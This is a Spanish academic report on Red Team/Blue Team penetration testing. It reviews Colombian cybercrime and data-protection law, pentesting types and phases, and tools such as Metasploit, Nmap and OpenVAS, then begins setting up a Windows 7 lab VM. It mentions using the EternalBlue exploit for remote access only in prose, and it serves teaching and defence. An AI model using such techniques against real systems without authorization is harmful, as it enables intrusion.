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Resumen

Este documento expone los resultados obtenidos tras la ejecucién de pruebas en un
entorno controlado, aplicando técnicas y herramientas utilizadas por los equipos Red Team y
Blue Team para la identificacion de brechas de seguridad, la evaluacion del nivel de
vulnerabilidad del sistema y la implementacion de soluciones destinadas al fortalecimiento de la
seguridad empresarial, ademas, se incluye un analisis del marco legal vigente en Colombia en
materia de ciberseguridad y proteccion de datos personales. Asimismo, se presentan diversas
herramientas empleadas tanto por los equipos de seguridad informéatica como por los
ciberdelincuentes, con el propdsito de comprender sus aplicaciones y riesgos asociados.

Por ultimo, se plantean conclusiones derivadas de los hallazgos obtenidos y una serie de
recomendaciones orientadas a la adopcion de medidas estratégicas que optimicen la proteccion

de los sistemas informaticos.
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Abstract

This document presents the results obtained after executing tests in a controlled
environment, applying techniques and tools used by the Red Team and Blue Team to identify
security breaches, assess system vulnerability levels, and implement solutions aimed at
strengthening corporate security. It also includes an analysis of the current legal framework in
Colombia regarding cybersecurity and personal data protection. It also presents various tools
used by both IT security teams and cybercriminals, with the aim of understanding their
applications and associated risks.

Finally, it presents conclusions derived from the findings and a series of

recommendations aimed at adopting strategic measures to optimize the protection of IT systems.
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Glosario
Ciberseguridad: Conjunto de practicas, tecnologias y procesos disefiados para proteger
la infraestructura digital, datos y sistemas contra ataques cibernéticos (Ciberseguridad,
2025).
Cisco ASA y Firewall: Dispositivos y software para controlar y filtrar trafico de red
(Cisco, n.d.-a).
CVE: Sistema de identificacion de vulnerabilidades en software y hardware (CVE,
n.d.).
ExploitDB: Base de datos de exploits y vulnerabilidades (ExploitDB, n.d.).
Explotacion (Exploitation): Proceso por el cual un atacante aprovecha una
vulnerabilidad para acceder, manipular o dafiar un sistema o datos (Jones, 2020).
IDS/IPS: Sistemas de deteccion y prevencion de intrusiones en red (McAfee, n.d.).
Ley 1273 de 2009: Penaliza delitos informaticos y regula la proteccion de la
informacidn y datos digitales (Policia Nacional de Colombia, n.a.).
Ley 1581 de 2012: Regula la proteccion de datos personales, asegurando derechos y
obligaciones para el manejo de informacion personal en Colombia (Ley 1581, 2012).
Metasploit: Framework para realizar evaluaciones de seguridad, creacion de exploits y
simulacion de ataques (Metasploit, 2025).
Mitigacion: Conjunto de acciones destinadas a reducir el riesgo o el impacto de
amenazas o vulnerabilidades en un sistema (Towerwall, n.d.).
Nmap: Herramienta de analisis de redes para deteccidn de hosts y vulnerabilidades

(Manish, 2025).



OpenVAS: Escaner de vulnerabilidades de codigo abierto (Greenbone Networks,
2025).

Pentesting (Pruebas de penetracion): Evaluacion controlada de la seguridad que simula
ataques para identificar vulnerabilidades en sistemas y redes (Kumar & Kumari, 2020).
SIEM: Sistema de Gestion de Informacién y Eventos de Seguridad para analisis y
respuesta en tiempo real (IBM, n.d.-a).

Vulnerabilidad: Debilidad en un sistema, aplicacién o infraestructura que puede ser
explotada por actores maliciosos para comprometer su integridad, confidencialidad o

disponibilidad (NVD, n.d.).
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Introduccion

En el &mbito de la ciberseguridad, las pruebas de penetracién son un mecanismo esencial
para identificar vulnerabilidades y evaluar la resiliencia de los sistemas ante posibles ataques.
Estas pruebas se desarrollan bajo metodologias especializadas y son ejecutadas por los equipos
Red Team y Blue Team, cuya interaccion permite una evaluacion integral de los riesgos y la
implementacion de estrategias de proteccion eficaces.

Los Red Teams simulan ataques reales, empleando técnicas avanzadas similares a las
utilizadas por hackers y ciberdelincuentes para comprometer infraestructuras digitales.

Entre las herramientas mas utilizadas por los atacantes destacan Metasploit y Nmap, las
cuales permiten la identificacion y explotacién de fallos de seguridad, en contraposicion, los
Blue Teams disefian e implementan mecanismos defensivos, analizando los intentos de intrusion
para mejorar la respuesta ante amenazas.

La integracién de pruebas de penetracion mediante esta dindmica Red & Blue Team
ofrece beneficios significativos, como la identificacion temprana de vulnerabilidades, el
fortalecimiento de protocolos de seguridad y la optimizacion de los mecanismos de defensa
frente a ataques dirigidos.

Este enfoque proactivo contribuye al desarrollo de estrategias de ciberseguridad mas
robustas y adaptadas a las amenazas emergentes, garantizando la proteccion de los activos

digitales de una organizacion.
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Justificacion

El desarrollo de este trabajo responde a la necesidad de fortalecer el conocimiento sobre
pruebas de penetracion, una préctica esencial en el ambito de la ciberseguridad. La creciente
sofisticacion de los ataques informaticos exige el disefio de estrategias defensivas mas robustas,
donde los equipos Red Team y Blue Team desempefian un papel fundamental en la
identificacion y mitigacion de vulnerabilidades dentro de los sistemas digitales de una
organizacion.

Este estudio permite analizar las tacticas utilizadas por atacantes y profesionales de
seguridad, asi como evaluar la eficacia de herramientas como Metasploit y Nmap entre otras, las
cuales son empleadas tanto para la explotacion de fallas como para la implementacién de
medidas de proteccidn, ademas, se aborda el marco legal colombiano en materia de
ciberseguridad y proteccion de datos, proporcionando una perspectiva regulatoria clave para el
manejo adecuado de incidentes y el cumplimiento normativo.

La realizacion de este andlisis facilita la comprension de los riesgos asociados a las
brechas de seguridad, contribuyendo al disefio de estrategias preventivas que optimicen la
proteccidn de los activos digitales empresariales y refuercen la postura de seguridad frente a

amenazas emergentes.
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Objetivos
Objetivo General

Construir un informe técnico que analice y sintetice las técnicas empleadas por los
equipos Red Team y Blue Team para el fortalecimiento de la seguridad digital en un entorno
empresarial, permitiendo la evaluacion critica de sus estrategias y la aplicacion efectiva de
medidas de proteccion.

Objetivos Especificos

Aplicar metodologias de pruebas de penetracion (Pentesting) para identificar
vulnerabilidades en los sistemas de seguridad digital, validando su eficacia en la deteccion de
amenazas.

Implementar marcos de trabajo que alineen las estrategias de ciberseguridad de los
equipos Red Team y Blue Team, favoreciendo una respuesta coordinada ante posibles riesgos y
vulnerabilidades.

Utilizar herramientas de ciberseguridad adoptadas por los equipos Red Team y Blue
Team para realizar evaluaciones de seguridad, explotaciones simuladas y andlisis de
vulnerabilidades en entornos controlados.

Interpretar los resultados obtenidos en las pruebas de laboratorio, formulando
recomendaciones para optimizar metodologias y fortalecer la postura de seguridad digital de la

organizacion.
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Marco Legal en Colombia

En los dltimos veinte afios, el incremento de la digitalizacion de la informacion por
medio de multiples plataformas que se interconectan por internet ha aumentado, hoy en dia ya
practicamente toda la informacion se maneja de forma digital, se almacena en servidores o discos
duros, los cuales tienen acceso a internet, las redes sociales y las empresas tienen gran cantidad
de informacion de tipo personal y a veces confidencial sobre usuarios y clientes, esta
informacidn puede ser muy valiosa para personas mal intencionadas que buscan lucrarse con
esos datos o perjudicar la reputacion de alguien o alguna persona.

Al digitalizar toda la informacion se han creado mecanismos de almacenamiento digital
que tienen vulnerabilidades en sus sistemas de seguridad, estas son explotadas por
ciberdelincuentes que se apoderan de datos personales y clasificados lo que constituye un delito
segun la normatividad nacional.

En Colombia se establecié un marco normativo que regula los delitos informaticos, y la
proteccidn de datos personales, las dos principales leyes fundamentales son la Ley 1273 del afio
2009 la cual penaliza los delitos informaticos y la Ley 1581 del afio 2012 que se encarga de la
proteccién de datos personales.

Delitos Informaticos en Colombia

El Cédigo Penal se actualiza al establecer un nuevo bien judicial protegido: “Proteccion
de la Informacion y los Datos”. Esto busca salvaguardar de una manera integral aquellos
sistemas que emplean tecnologias relacionadas con la informacion y las comunicaciones. La Ley
1273 de 2009, en el contexto legal colombiano, incorpord nuevas infracciones vinculadas a los

delitos cibernéticos, definiendo comportamientos delictivos tales como:
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. Acceso indebido a un sistema informatico (Articulo 269A): Se castiga a quien
ingrese sin permiso a un sistema de computacion, lo que abarca la adquisicion ilegal de datos o
permanecer en el sistema en oposicion a quien posee el derecho a impedirlo.

. Interferencia indebida en un sistema informatico (Articulo 269B): Quien frene la
operatividad o acceso a un sistema de computacion y la informacion que alberga, sin tener la
debida autorizacién para hacerlo.

. Intercepcion de datos (Articulo 269C): Se penaliza la captura de informacion
transmitida por redes informaticas sin el consentimiento del titular.

. Dafio informatico (Articulo 269D): Se considera delito la modificacién, dafio o
supresion de informacion en un sistema informatico.

. Uso de Programas Maliciosos (Articulo 269E) Se considera un delito producir,
adquirir, traficar o instalar software de tipo malicioso dentro del territorio nacional incluyendo
programas gue causen dafios en los sistemas computacionales.

. Vulneracion de datos personales (Articulo 269F): Es un delito sacar provecho
propio o de un tercero mediante la sustraccion, intercambio o divulgacion de informacion
personal contenida en archivos o bases de datos.

. Suplantacion de sitios Web (Articulo 269G): Es delito desarrollar, disefiar o
ejecutar paginas electronicas, enlaces o ventanas emergentes que suplanten sitios web con el
objetivo de sustraer informacion sensible o datos personales.

Esta ley es necesaria para establecer una proteccion de la informacion y la seguridad
cibernética, sin embargo, es motivo de grandes controversias ya que algunas personas
argumentan que las penas establecidas no son lo suficientemente fuertes para disuadir a los

delincuentes que practicas estas acciones criminales. (Policia Nacional de Colombia. n.a.)
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Proteccion de Datos Personales

El congreso de la Republica de Colombia decretd mediante la ley estatutaria 1581 de
2012 una reglamentacion enfocada en la proteccion de datos personales. Esta legislacion
reconoce el derecho de los ciudadanos a tener conocimiento, actualizar y modificar la
informacidn que sobre ellos se maneja y se encuentra registrada en las bases de datos que puedan
hacerlos propensos de tratamiento en cualquier entidad de orden publico o privado. No aplicara
esta ley a los sistemas de informacidn gque tengan como fin la seguridad nacional y la defensa del
territorio, el seguimiento y control de lavado de activos o la financiacion de actividades
terroristas, tampoco aplicara a la informacion de inteligencia y contrainteligencia, o los sistemas
de informacion y archivos reglamentados por la ley 266 de 2008 y la ley 79 de 1993.

Entre sus disposiciones mas relevantes se encuentran:

e Consentimiento informado Articulo 9: Se requiere gque las entidades obtengan
autorizacion expresa de los titulares de los datos antes de realizar cualquier
tratamiento de su informacion personal.

e Derechos de los propietarios de los datos Articulo 8: Los ciudadanos tienen
derechos fundamentales, como el acceso de forma gratuita a sus datos personales,
la rectificacion y la destruccion de sus datos personales.

e Informar de manera clara y expresa Articulo 12: Los ciudadanos tienen derecho a
ser informados sobre el manejo de sus datos personales

e Responsabilidad de las entidades Articulo 17: Las empresas que manejan datos

personales deben establecer protocolos de seguridad adecuados, que garanticen la
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proteccion de la informacion, avalando el pleno y eficiente ejercicio del derecho
de Habeas Data.

e Autoridad encargada de la proteccion de datos Articulo 19: La superintendencia
de Industria y Comercio sera la encargada de ejercer la vigilancia y control,
garantizando que se respeten los derechos y garantias de los datos de las personas,
segun lo establecido por esta ley.

El debate en torno a esta ley se centra en la efectividad de su aplicacion y en la capacidad
de las entidades para cumplir con las obligaciones establecidas. Algunos criticos argumentan que
la falta de recursos y capacitacion en las organizaciones dificulta la implementacion efectiva de
la ley.

Interseccion entre la Proteccion de los Datos Personales y los Delitos Informéticos

La correspondencia entre la normatividad sobre delitos informaticos y la proteccion de
datos es crucial. Los ciberdelitos pueden comprometer la seguridad de los datos personales, 1o
que a su vez plantea interrogantes sobre la responsabilidad de las entidades en caso de una
violacion de datos. Este aspecto ha llevado a un llamado a la creacién de un marco normativo

mas integral que aborde de manera conjunta ambos temas.
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Pruebas de Penetracion — Pentesting

Las pruebas de penetracion son herramientas clave para identificar deficiencias en el
disefio de la arquitectura de seguridad, asi como en las redes, la programacion y el desarrollo
inseguro de aplicaciones. Estas evaluaciones de seguridad en la red ayudan a localizar
vulnerabilidades tanto en la infraestructura interna como externa, permitiendo evaluar la
efectividad de los mecanismos de proteccion implementados por la organizacion. Ademas, al
realizar pruebas en aplicaciones web, es posible detectar debilidades vinculadas a la seguridad
del disefio y la programacién, ejecutandose directamente en los navegadores o aplicaciones
complementarias usadas por la empresa. En el caso de las redes inalambricas, estas pruebas
verifican si los dispositivos mdviles, como laptops, teléfonos y tabletas conectados a redes Wi-Fi
y Bluetooth, son suficientemente seguros para manejar y resguardar datos confidenciales. Por
altimo, el Pentesting relacionado con ingenieria social evalUa la preparacion de los empleados
ante amenazas potenciales de grupos delictivos, proporcionando una vision clara sobre la
conciencia de los trabajadores respecto a la ciberseguridad en la empresa.

Tipos de Pruebas de Penetracion

Pruebas de Penetracion de Caja Negra

Las pruebas de caja negra, o black box, son aquellas en las que el pentester no posee

informacidn previa sobre los sistemas a evaluar. Su objetivo es recopilar la mayor cantidad de
datos posibles sobre la red o el sistema en cuestion. Aunque se espera un resultado especifico, el
método para alcanzarlo no esta claro. El pentester no tiene acceso al codigo fuente, pero si

examina la cobertura del sistema y lleva a cabo analisis sobre flujos de datos y rutas.
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Pruebas de Penetracion de Caja Blanca
Conocidas como pruebas de caja blanca o pruebas completas, en este enfoque el pentester
tiene acceso total a los datos del sistema, incluyendo detalles de la red, esquemas, cédigo
fuente, informacion sobre sistemas operativos y listas de direcciones IP. Aqui se simula un
ataque desde el interior de la organizacion, como si el atacante tuviera conocimiento
profundo de su funcionamiento, intentando robar informacién mediante su familiaridad con
el sistema.
Pruebas de Penetracion de Caja Gris
En las pruebas de caja gris, el evaluador cuenta con cierta informacion, lo que lo posiciona
como un atacante externo que ha accedido ilegalmente a algunos datos o archivos de la empresa.
Sin embargo, no tiene acceso al cadigo fuente ni a detalles sobre las funciones del sistema, y se
enfrenta a la infraestructura externa de la organizacion, como sus servidores web y de red,
realizando la evaluacion desde una ubicacion remota fuera de las instalaciones.
Pruebas de Penetracion Encubiertas
Este tipo de pruebas se llevan a cabo sin el conocimiento de la mayoria de los miembros de la
organizacion, incluyendo al personal de seguridad de TI que se encarga de proteger y responder
ante potenciales ciberataques.
Etapas de las Pruebas de Penetracion
Las pruebas de penetracion son mas que un simple chequeo; comprenden un conjunto de
técnicas que buscan explorar la seguridad de un sistema, para ver qué tan bien defiende sus
barreras y ofrecer soluciones a las vulnerabilidades que se descubren en el proceso.

Este es un proceso estructurado el cual consta de las siguientes fases:
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Planeacion y Preparacion
Primero, toca definir qué se busca lograr. Esto lo fijan en conjunto el pentester y el cliente.
Un objetivo clave podria ser detectar las debilidades de seguridad del sistema y encontrar la
mejor manera de fortalecer la proteccion de la informacion.
Reconocimiento
Luego viene la parte de reunir toda la informacion relevante sobre el sistema que se va a
testear, es como una fase de recopilacion pasiva, donde se recolectan datos importantes que
ayudaran a trazar una estrategia y a elegir las herramientas correctas para la prueba.
Descubrimiento
En esta etapa, el pentester utiliza distintas herramientas tecnoldgicas. Algunas funcionan
automaticamente, mientras que otras requieren un toque manual, el objetivo aqui es encontrar las
vulnerabilidades. Es crucial escanear los dispositivos para identificar los puertos abiertos y
averiguar qué servicios estan corriendo, hay que mapear la red, los servidores y todos los
dispositivos conectados, herramientas como NMAP, OpenVAS y Metasploit son muy Utiles en
esta fase.
Analisis de la Informacion
Aqui es donde se analizan los resultados obtenidos de las pruebas, se evalla si realmente
se lograron los objetivos y se identifican los riesgos a los que esta expuesto el sistema.
Herramientas como Maltego son geniales para visualizar las relaciones entre la informacion
recopilada, y Recon-ng es ideal para el analisis de datos OSINT.
Intentos de Intrusion Activos
Esta etapa implica poner a prueba las vulnerabilidades detectadas para ver qué riesgos reales

enfrenta el sistema, es particularmente crucial en sistemas que requieren una alta integridad, ya
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que las vulnerabilidades necesitan ser cuidadosamente abordadas antes de realizar cualquier
limpieza critica, se utilizan herramientas como Metasploit para administrar estas pruebas y llevar
a cabo evaluaciones de seguridad.

Preparacion del Informe

Finalmente, se genera un informe que detalla todo el proceso y analiza las
vulnerabilidades y los riesgos descubiertos, se identifican los riesgos criticos y las posibles
consecuencias si un ciberdelincuente aprovechara esas debilidades, el informe también incluye
recomendaciones para corregir las vulnerabilidades y sugerencias para prevenir futuros ataques

al sistema basadas en los hallazgos obtenidos.
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Herramientas Tecnoldgicas Utilizadas Durante un Pentesting

Las pruebas de penetracion, conocidas también como Penetration Testing, son llevadas a
cabo por expertos en ciberseguridad que se especializan en el hacking ético, estos profesionales
no solo dominan el ambito de la seguridad, sino que también poseen habilidades de
programacion que les permiten utilizar diversas herramientas para identificar vulnerabilidades y
aprovechar las debilidades halladas, por ello, es esencial contar con ciertas herramientas
tecnoldgicas, que pueden ir desde aplicaciones portatiles hasta sistemas operativos disefiados
especialmente para este trabajo.

Algunas de esas herramientas son las siguientes:

Metasploit

Es un programa de codigo abierto disefiado para realizar evaluaciones de seguridad y
analisis de penetracion en sistemas operativos, aplicaciones y dispositivos, su funcionalidad
incluye la identificacion de fallos de seguridad y la administracion de pruebas orientadas a
validar la existencia de riesgos, este framework combina un conjunto eficiente de utilidades para
crear pruebas de penetracion y desarrollar exploits, permitiendo explorar servicios y determinar
sus vulnerabilidades, una vez detectadas, se evalUa si dichas fallas constituyen amenazas reales,
analizando el potencial impacto y los dafios que un ataque podria ocasionar en la brecha de
seguridad, ademas, resulta imprescindible verificar si hay controles de mitigacion ausentes que
no hayan sido considerados, este procedimiento ofrece una perspectiva clara del posible impacto
frente a un ataque real.

Metasploit incluye una base de datos de exploits que posibilitan la ejecucion directa de
ataques simulados en equipos remotos, permitiendo examinar las consecuencias derivadas de

esta intrusion.
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Algunas de sus principales caracteristicas son:

e Permite una simulacion de ataques con la cual podemos identificar
vulnerabilidades ya sea en SO, dispositivos o aplicaciones.

e Incluye una base de datos de exploits que los usuarios pueden utilizar para
realizar pruebas de vulnerabilidades especificas y analizar sus consecuencias.

e Ofrece una amplia coleccion de modulos que abarcan desde exploits y payloads
hasta herramientas auxiliares de post-explotacion.

e Nos facilita el descubrimiento de debilidades en los servicios y sistemas,
permitiéndonos hacer una evaluacién de su gravedad y posibles impactos.

e Ayuda a automatizar varias etapas del proceso de pruebas de seguridad,
permitiéndonos ahorrar tiempo y recursos.

e Permite una integracion con otros sistemas ya que es compatible con una gran
variedad de herramientas de seguridad, lo que le permite ampliar su alcance y
funcionalidad.

e Esta herramienta ademas permite llevar a cabo pruebas en sistemas remotos,
evaluando la seguridad a distancia.

e Suinterfaz es amigable, ofrece una consola de comandos como una interfaz
grafica, lo que le permite adaptarse a diferentes niveles de experiencia de los
usuarios.

Estas capacidades hacen del Metasploit Framework una solucién versatil y esencial para
profesionales de la ciberseguridad.
Metasploit se ha utilizado en numerosos escenarios de pruebas de penetracion para

demostrar vulnerabilidades de seguridad, por ejemplo, un caso tipico podria ser el uso del exploit
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"EternalBlue™ que aprovecha una vulnerabilidad en el protocolo SMB de Windows, con
Metasploit, un profesional de seguridad podria cargar este exploit, apuntar a un sistema
vulnerable y, si tiene éxito, obtener acceso remoto al equipo objetivo, esto permite evaluar el
impacto potencial de un ataque real y reforzar las medidas de seguridad.

Es importante destacar que estas herramientas deben usarse exclusivamente con fines
éticos y legales, como en auditorias de seguridad autorizadas.

NMAP

Network Mapper (NMAP) es una herramienta de cdodigo abierto disefiada para el analisis
de redes, su funcionamiento se basa en el envio de paquetes IP sin procesar, lo que le permite
identificar servicios en ejecucion en dispositivos remotos, es capaz de determinar qué equipos
estan activos, inspeccionar los puertos, reconocer el tipo y la version del sistema operativo,
ademas de detectar la presencia de firewalls y su configuracion. Aungue originalmente es una
herramienta de linea de comandos pensada para Linux, su compatibilidad se extiende a sistemas
Windows y Mac, asegurando su versatilidad.

Esta utilidad facilita la exploracion completa de redes, permitiendo una visualizacion
detallada de su estructura, su uso resulta sencillo gracias a comandos basicos, aunque también
admite instrucciones avanzadas para un analisis méas profundo, entre sus capacidades destaca la
identificacion de servicios como servidores web o DNS, adicionalmente, ofrece la posibilidad de
realizar pruebas de vulnerabilidad mediante scripts alojados en el motor de scripting integrado.

Aunque esta orientada a la consola, NMAP también dispone de una interfaz grafica que
permite representar dinamicamente la red, lo que enriquece la presentacién de informes de
manera clara y comprensible, ademas, incluye funcionalidades como la captura de paquetes sin

procesar, tanto los destinados al dispositivo local como los presentes en medios compartidos,
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también ofrece herramientas para filtrar paquetes segun reglas definidas por el usuario y
transmitir datos directamente a la red, facilitando la recopilacion de informaciéon sobre el trafico
existente.

Estas capacidades se soportan mediante un controlador instalado en la capa de red del
nucleo del sistema operativo y una serie de archivos DLL adicionales, cabe destacar que NMAP
no esta disefiado para modificar, filtrar o bloquear el trafico generado por otros programas en el
mismo dispositivo, su funcion se limita a detectar paquetes en transito por la red, lo que lo
excluye de aplicaciones como gestores de trafico, programadores de QoS o firewalls personales.

OPENVAS

El Open Vulnerability Assessment Scanner (OpenVAS) es una solucion de codigo
abierto disefiada para identificar y evaluar posibles vulnerabilidades en sistemas informaticos,
esta herramienta permite realizar andlisis tanto manuales como programados, abarcando un
amplio espectro de pruebas para detectar fallos de seguridad. Desde su desarrollo en 2009 por
Greenbone Networks, OpenVAS ha sido una parte integral de las distribuciones de seguridad
como Kali Linux, donde se encuentra preinstalado y listo para su configuracion. (Micucci. 2023)

Esta herramienta incluye una interfaz de linea de comandos (OpenVAS CLI) y una
interfaz grafica basada en la web, conocida como Greenbone Security Assistant, ademas, puede
integrarse con el framework Metasploit para llevar a cabo pruebas de explotacién de
vulnerabilidades. OpenVAS opera mediante dos servicios principales: el OpenVAS Manager,
encargado de gestionar y clasificar los resultados del analisis, asi como de administrar las bases
de datos y usuarios; y el OpenVVAS Scanner, que ejecuta las pruebas de vulnerabilidad de red
conocidas como Network Vulnerability Tests (NVT). Estas pruebas estan organizadas en

familias segun su naturaleza, lo que facilita su seleccién y configuracion.



27

Entre sus capacidades, OpenVVAS permite realizar analisis autenticados y no autenticados,
soportando una amplia gama de protocolos industriales y de internet, su disefio incluye opciones
de ajuste de rendimiento, lo que lo hace ideal para escaneos a gran escala, ademas, cuenta con un
lenguaje de programacion interno que posibilita la implementacion de pruebas personalizadas
para detectar vulnerabilidades especificas. (Greenbone Networks. 2025)

Exploitdb

ExploitDB se presenta como una plataforma en linea que centraliza informacion sobre
vulnerabilidades de seguridad y exploits de software, su propoésito es ofrecer un recurso confiable
y accesible para especialistas en ciberseguridad, analistas e investigadores, facilitando el estudio
y comprension de fallos que puedan comprometer diversos sistemas operativos y aplicaciones, a
través de esta herramienta, las organizaciones pueden identificar riesgos potenciales y desarrollar
estrategias de mitigacion eficaces.

Principales caracteristicas:

ExploitDB destaca por su extensa base de datos, donde se detalla informacion sobre las
vulnerabilidades reportadas, incluyendo especificaciones sobre las versiones afectadas del
software y ejemplos de cddigo que ilustran como explotar las debilidades encontradas, cada
registro suele acompafiarse de una descripcion técnica, enlaces adicionales para profundizar y, en
muchos casos, el identificador CVE (Common Vulnerabilities and Exposures), lo que simplifica
la localizacion de amenazas criticas.

La plataforma también proporciona un avanzado sistema de busqueda que permite filtrar
informacidn por tipo de vulnerabilidad, programa afectado o palabras clave, mejorando la

experiencia de usuario, asi mismo, cuenta con una activa comunidad de expertos que contribuyen
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regularmente, reportando nuevos fallos y compartiendo conocimientos que enriquecen la base de
datos.

Ejemplos de uso

Casos de Uso Entre los usos mas comunes de ExploitDB, los analistas de seguridad
recurren a esta herramienta para investigar vulnerabilidades antes de instalar actualizaciones en
infraestructuras criticas, por ejemplo, pueden analizar si existen exploits disponibles y evaluar
los riesgos asociados a su entorno. Los investigadores, por su parte, estudian patrones historicos
de vulnerabilidades documentadas para mejorar su comprension de las tendencias en seguridad y
fortalecer sus habilidades técnicas.

Beneficios y ventajas

Una de las mayores fortalezas de ExploitDB radica en la actualizacidn constante de su
repositorio, permitiendo a las empresas mantenerse al dia con los ultimos hallazgos en
ciberseguridad, ademas, al ser una herramienta colaborativa, fomenta el intercambio de
conocimientos entre profesionales, potenciando una respuesta mas eficiente frente a amenazas
emergentes.

CVE

El sistema conocido como Common Vulnerabilities and Exposures (CVE. n.d) tiene
como proposito clasificar y asignar identificadores unicos a vulnerabilidades y exposiciones
identificadas en software y hardware; esta iniciativa busca optimizar el intercambio de
informacidn entre especialistas en ciberseguridad, fomentando la comprension de riesgos en
distintas plataformas y fortaleciendo las estrategias de proteccion informatica. Cada registro en el
catalogo CVE contiene un codigo exclusivo, una descripcion técnica sobre la falla identificada y,

en ocasiones, enlaces que ofrecen mayor detalle para quienes requieren informacién adicional.
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Aspectos Fundamentales:

Entre las ventajas del sistema CVE se destaca su formato estandarizado, que permite a
usuarios de diferentes niveles de experiencia analizar con precision los detalles de cada
vulnerabilidad, cada identificador contiene un codigo alfanumérico y una descripcion que explica
la naturaleza del fallo, los métodos para explotarlo y, en algunos casos, los posibles efectos en
sistemas especificos, ademas, CVE proporciona vinculos a boletines de seguridad ofrecidos por
los desarrolladores y a otras plataformas relevantes, como la National Vulnerability Database
(NVD) , lo que facilita su integracién en procesos de analisis de riesgos. (Shonstak. 2014)

La base de datos se sustenta en la colaboracion activa de su comunidad de usuarios,
quienes pueden reportar nuevas vulnerabilidades y actualizar informacion existente, asegurando
que los datos reflejen los mas recientes hallazgos en el campo.

Ejemplos de uso:

Aplicaciones en Seguridad. El sistema CVE es una herramienta invaluable para los
profesionales de seguridad informatica, permitiéndoles consultar vulnerabilidades especificas
que podrian impactar su infraestructura, por ejemplo, al recibir notificacion de una nueva entrada
en CVE, las empresas pueden investigar de forma inmediata el nivel de exposicion de sus
sistemas y definir medidas preventivas, asimismo, los equipos que gestionan incidentes, utilizan
CVE para documentar y analizar vulnerabilidades explotadas en escenarios activos,
contribuyendo a respuestas mas precisas y rapidas.

Ventajas Operativas:

El uso de CVE facilita la comunicacion entre distintos sectores gracias a su terminologia
unificada, lo que resulta especialmente util al trabajar con diversos productos y servicios de

diferentes proveedores, ademas, al incluir evaluaciones de gravedad, CVE permite priorizar
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recursos para atender las amenazas mas criticas, en combinacidn con otras herramientas, CVE se

convierte en un referente central para mejorar la seguridad general de una organizacion.



Banco de Trabajo
Se establecera un banco de trabajo o laboratorio que contara con un software de

virtualizacion, permitiendo la virtualizacion de diversos sistemas operativos. Para este caso, se

empleara VirtualBox en su version 7.0.

Figura 1

Maquina Virtual

yir

VirtualBox

7.0

Interfaz Gréfica de Usuario de VirtualBox
Versién 7.0.22 r165102 (Qt5.15.2)
Copyright © 2024 Oracle and/or its affiliates.

Fuente: Elaboracion Propia

El laboratorio se inicia con la instalacion de un sistema operativo Windows 7
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Figura 2

Instalacion de Windows 7 en VirtualBox
N7l Importar servicio virtualizado

Preferencias de servicio

Estas son las maquinas virtuales contenidas en el servicio y las preferencias sugeridas de las maquinas
virtuales importadas de VirtualBox. Puede cambiar varias de las propiedades mostradas haciendo doble
clic en los elemenos y deshabilitar otras usando las casillas de verificaion de abajo.

Sistema virtual 1

* Nombre Win7-SE2020-X64

B8 Tipo de SO invitado §a Windows 7 (64-bit)

W cpu 1

RAM 4096 MB
O owo v
)° Controlador USB v

P Tarjeta de sonido v Audio Intel HD
Carpeta base de maquina: [ C:\Users\luigy\VirtualBox VMs

Politica de direccién MAC: | Incluir solo la direccion MAC del adaptador de red NAT

Opciones adicionales: v Importar discos como VDI

Servicio virtualizado no firmado

Modo experto Terminar Cancelar

Fuente: Elaboracion Propia

Se configura la maquina virtual de la siguiente manera:



Figura 3
Configuracién MV Sistema

'ﬂ' Win7-SE2020-X64 - Configuracion

l:l General

B
| Sistema

Pantalla
Almacenamiento
Audio

Red

Puertos serie

usB

Carpetas compartidas

Interfaz de usuario

Fuente: Elaboracion Propia
Figura 4
Configuracion MV Pantalla
¥ Win7-SE2020-X64 - Configuracién

General

Sistema

Pantalla
Almacenamiento
Audio

Red

Puertos serie

UsB

Carpetas compartidas

Interfaz de usuario

Fuente: Elaboracion Propia

Sistema

Placa base Procesador Aceleracién
Procesadores:
Limite de ejecucion:

1%

Caracteristicas extendidas: Habilitar PAE/NX

Pantalla

Pantalla Pantalla remota Grabacion

Memoria de video:

0MB

Ndmero de monitores:

Factor de escalado:

100%

Controlador grafico: VBoxSVGA ~

Caracteristicas extendidas: v Habilitar aceleracion 3D

12 CPUs

100%

300%

100%

8

100%

33



Figura 5

Configuracion MV RED adaptador 1

* ‘Win7-SE2020-X64 - Configuracion

General

Sistema

Pantalla
Almacenamiento
Audio

Red

Puertos serie

USsB

Carpetas compartidas

Interfaz de usuario

Fuente: Elaboracion Propia
Figura 6

Configuracion MV RED Adaptador 2

L+ Win7-SE2020-X64 - Settings
Basic Expert

General
Sistema
Pantalla
Almacenamiento
Audio
Red
Puertos serie
USB
Carpetas compartidas

Interfaz de usuario

Fuente: Elaboracion Propia

Red

Adaptador 1

Vv Habilitar adaptador de red

Conectado a:

¥ Avanzado

Tipo de adaptador:

Direccién MAC:

Adaptador 2

Adaptador 3 Adaptador 4

NAT

Intel PRO/1000 MT Desktop (82540EM)

0800279280C0
v Cable conectado

Reenvio de puertos

Red

Adaptador 1

Adaptador 2 Adaptador 3

Adaptador 4

Vv Habilitar adaptador de red

Conectado a:

Nombre:

Tipo de adaptador:

Modo promiscuo:

Direccion MAC;

Puertos serie

Puartn 1

Red NAT
Red Nat laboratorio
Intel PRO/1000 MT Desktop (82540EM)
Permitir todo
279C65A1

v Cable conectado

Diortn 2

Aceptar Cancelar

Ayuda
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Figura 7

Windows 7 Instalado

£y

Firefox

E

usuario.

Panel de control

U

Papelera de

Microsoft Windows

cambios.

reciclaje todos los programas.

Debe reiniciar el equipo para aplicar los
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Antes de reiniciar, guarde cualquier archivo abierto y cierre

Reiniciar ahora Reiniciar ms tarde |

Fuente: Elaboracion Propia

La direccion IP de esta maquina es 10.10.10.5

Figura 8

IP MV Windows 7

EA Administrador: C:AWindows\system32\cmd,exe

Configuracion IP de Windows

Adaptador de Ethernet Conexidn de Area local 2:

Sufijo DHE especifico para la conexidn.
Uinculo: direccidn IPuv6 local. . .
Direccidn IPvd, | . . . . . . . . . . . .
Miscara de subred . . . . f e e e
Puerta de enlace predetermlnada e e e e -

Adaptador de Ethernet Conexidn de Area local:

Sufijo DMS especifice para la conexidn.
Direccidon IPve . . . . . . . . . . = £d0@
Direccidn IPub tempnral. . - fdaa:
Uinculo: direccidn IPuv6h lncal. .
Direccidon IPvd4. . . . . . . . . . -
Mascara de subred . . . . -
Puerta de enlace predetermlnada .

Adaptador

de los medios. . . . T
DHS especifico para la conexidn. .

Eztado
Sufijo

Adaptador

de los medios. . . . - -
DNS especifico para la conexidn. .

Estado
Bufijo

C=“Userssusuario>s __

Fuente: Elaboracion Propia

s FeBb: 949:

:4842:9ce4:4e38

E=R|EcR=<™

